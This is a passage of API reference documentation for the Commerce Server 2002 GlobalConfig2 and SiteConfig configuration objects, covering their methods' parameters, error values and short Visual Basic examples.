[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a String used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The strEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig2.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::SaveConfig Method [C++]

GlobalConfig2.SaveConfig Method [Visual Basic]

Use this method to save the global configuration settings to the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::SaveConfig(
);
[Visual Basic]
Sub SaveConfig(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::Sites Method [C++]

GlobalConfig2.Sites Method [Visual Basic]

Use this method to retrieve a list of all the sites available in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::Sites (
_Recordset** rsRecordSet
);
[Visual Basic]
Function Sites (
) As Object

Parameters

rsRecordSet [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the list of all sites available in the Administration database. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The rsRecordSet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2 Properties [C++]

GlobalConfig2 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.


_GlobalConfig2::get_Fields Property [C++]

GlobalConfig2.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _GlobalConfig2::get_Fields(
  Fields** pFields
);
[Visual Basic]
Property Fields As Object

Parameters

pFields [C++]
[out] The address of a pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

The pFields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


SiteConfig Object [C++]

SiteConfig Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete site configuration information
  • Save any updated site configuration information to the Administration database
  • Load site configuration information from the Administration database
  • Import resource configuration data to a site and export resource configuration data from a site
ProgID: | Commerce.SiteConfig (Externally creatable)
COM Class Name: | SiteConfig
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SiteConfig
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _SiteConfig interface to access the properties and methods of the SiteConfig object.

Methods

[C++]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.
[Visual Basic]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.

Remarks

The only functions available if you do not have an Administrator role are:
Initialize, GetAppsInSite, SaveConfig, MakeArrayFromSimpleList, MakeArrayFromString, MakeSimpleListFromArray, MakeStringFromArray, and MakeStringFromSimpleList.
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

See Also

Configuration Objects

Integrating Cutom Resources

[C++] GlobalConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] GlobalConfigObject

[Visual Basic] SiteConfigReadOnly Object


_SiteConfig Methods [C++]

SiteConfig Methods [Visual Basic]

Methods

[C++]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.
[Visual Basic]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.


_SiteConfig::AddRefToGroupComponent Method [C++]

SiteConfig.AddRefToGroupComponent Method [Visual Basic]

Use this method to add a reference to a global resource so that a site can access that resource. If you use this method to create a global resource, in order to read the correct property values, use the SiteConfigReadOnly object methods. To set the correct property values, use the GlobalConfig object on the global resource that is referenced by this site level resource.

Definition

[C++]
HRESULT _SiteConfig::AddRefToGroupComponent(
  BSTR bstrSiteResourceName,
  BSTR bstrGroupResourceName
);
[Visual Basic]
Sub AddRefToGroupComponent(
  bstrSiteResourceName As String,
  bstrGroupResourceName As String
)

Parameters

bstrSiteResourceName[C++]
[in] A BSTR that contains the name of the resource configuration object to be added to the site.
bstrSiteResourceName [Visual Basic]
A String that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName [C++]
[in] A BSTR that contains the name of the global resource configuration object to which a reference is being added.
bstrGroupResourceName [Visual Basic]
A String that contains the name of the global resource configuration object to which a reference is being added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

If you use this method to create a global resource, use the SiteConfigReadOnly object methods to read the correct property values. Use the GlobalConfig object on the global resource that is referenced by this site level resource to set the correct property values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sSiteResName and sGlob are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.AddRefToGroupComponent(sSiteResName,sGlob)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::CreateComponentConfig Method [C++]

SiteConfig.CreateComponentConfig Method [Visual Basic]

Use this method to create an instance of a configuration schema class, and load it into the site recordset.

Definition

[C++]
HRESULT _SiteConfig::CreateComponentConfig(
  BSTR bstrConfigComponentName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateComponentConfig(
  bstrConfigComponentName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrConfigComponentName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrConfigComponentName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method creates an instance of the class specified in the bstrConfigSchemaClass parameter, and sets the Name property of the instance to the name specified in the bstrConfigComponentName parameter. It loads the instance into the site recordset.

This method calls the SaveConfig method.

The following table contains a list of schema classes for this method.

Admininstration Database Class Name | Resource Name
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Content | (No longer used)
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Predictor_Site | (No longer used)
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profiles Resource
MSCS_Address | IIS Applications (such as Retail, RetailBizDesk)
MSCS_BDSecurity | Business Desk Permissions

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyCatalog is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.CreateComponentConfig(sMyCatalog, MSCS_Catalog)

See Also

[C++] SiteConfig Object

[C++] _SiteConfig::DeleteComponentConfig

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfig.DeleteComponentConfig


_SiteConfig::DeleteComponentConfig Method [C++]

SiteConfig.DeleteComponentConfig Method [Visual Basic]

Use this method to delete the Administration database information for the specified resource.

[C++]
HRESULT _SiteConfig::DeleteComponentConfig(
  BSTR bstrConfigComponentName
);
[Visual Basic]
Sub DeleteComponentConfig(
  bstrConfigComponentName As String
)

Parameters

bstrConfigComponentName [C++]
[in] A BSTR that contains the name of the resource associated with the Administration database information to delete.
bstrConfigComponentName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This delete does not remove any resource-specific data other than the configuration information. For instance, deleting the Product Catalog resource will not remove the Product Catalog tables from the database, just the configuration information.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyResource is the name of an existing resource
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.DeleteComponentConfig (sMyResource)

See Also

[C++] SiteConfig Object

[C++] _SiteConfig::CreateComponentConfig

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfig.CreateComponentConfig


_SiteConfig::DeleteSQLScript Method [C++]

SiteConfig.DeleteSQLScript Method [Visual Basic]

Use this method to delete the specified SQL script file from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::DeleteSQLScript(
  BSTR sResource,
  BSTR sScriptName
);
[Visual Basic]
Sub DeleteSQLScript(
  sResource As String,
  sScriptName As String
)

Parameters

sResource [C++]
[in] A BSTR that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sResource [Visual Basic]
A String that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName [C++]
[in] A BSTR that contains the name of the SQL script file to delete.
sScriptName [Visual Basic]
A String that contains the name of the SQL script file to delete.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::ExportResource Method [C++]

SiteConfig.ExportResource Method [Visual Basic]

Use this method to write the specified resource, resource properties, and attributes to the specified file.

Definition

[C++]
HRESULT _SiteConfig::ExportResource(
  BSTR bstrResourceName,
  BSTR bstrFileName
);
[Visual Basic]
Sub ExportResource(
  bstrResourceName As String,
  bstrFileName As String
)

Parameters

bstrResourceName [C++]
[in] A BSTR that contains the resource name.
bstrResourceName [Visual Basic]
A String that contains the resource name.
bstrFileName [C++]
[in] A BSTR that contains the destination file name for the resource export.
bstrFileName [Visual Basic]
A String that contains the destination file name for the resource export.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method and the ImportResource method are complements of each other. This method creates the file that ImportResource consumes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyResource and sMyFileName.txt are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ExportResource(sMyResource, sMyFileName.txt)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetAppsInSite Method [C++]

SiteConfig.GetAppsInSite Method [Visual Basic]

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[C++]
HRESULT _SiteConfig::GetAppsInSite(
  BSTR* strSiteName,
  VARIANT* vtAppNames
);
[Visual Basic]
Function GetAppsInSite(
  strSiteName As String
) As Variant

Parameters

strSiteName [C++]
[in] A pointer to the BSTR that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.
strSiteName [Visual Basic]
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
vtAppNames [C++]
[out, retval] A pointer to a Variant used to return the list of Commerce Server 2002 applications.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the list of Commerce Server 2002 applications.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The vtAppNames parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a string
' vVariant is a Variant
' oSiteConfig is a Commerce SiteConfig object
vVariant = oSiteConfig.GetAppsInSite(sMySiteName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetIfCollection Method [C++]

SiteConfig.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or Variant Array.

Definition

[C++]
HRESULT _SiteConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter points to valid data only if the method completes successfully.

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oSiteConfig is a Commerce SiteConfig object
vVariant = oSiteConfig.GetIfCollection(vEncodedString)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetResourcePropAttrib Method [C++]

SiteConfig.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a Dictionary object of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _SiteConfig::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oSiteConfig is a Commerce SiteConfig object
dDict = _
oSiteConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetSQLScript Method [C++]

SiteConfig.GetSQLScript Method [Visual Basic]

Use this method to get the specified SQL script file from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::GetSQLScript(
  BSTR sResource,
  BSTR sScriptName,
  BSTR* strScriptContents
);
[Visual Basic]
Function GetSQLScript(
  sResource As String,
  sScriptName As String
) As String

Parameters

sResource [C++]
[in] A BSTR that contains the resource associated with the required SQL script file.
sResource [Visual Basic]
A String that contains the resource associated with the required SQL script file.
sScriptName [C++]
[in] A BSTR that contains the file name of the required SQL script file.
sScriptName [Visual Basic]
A String that contains the file name of the required SQL script file.
strScriptContents [C++]
[out, retval] A pointer to a BSTR used to return the SQL script file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL script file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The strScriptContents parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyCatalog is an existing resource
' sMySQLFileName.sql and sContents are strings
' oSiteConfig is a Commerce SiteConfig object
sContents = oSiteConfig.GetSQLScript(sMyCatalog, sMySQLFileName.sql)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::ImportResource Method [C++]

SiteConfig.ImportResource Method [Visual Basic]

Use this method to read the specified resource, resource properties, and attributes from the specified file, and write them to the Commerce Server 2002 database.

Definition

[C++]
HRESULT _SiteConfig::ImportResource(
  BSTR bstrFileName
);
[Visual Basic]
Sub ImportResource(
  bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR that contains the file name.
bstrFileName [Visual Basic]
A String that contains the file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

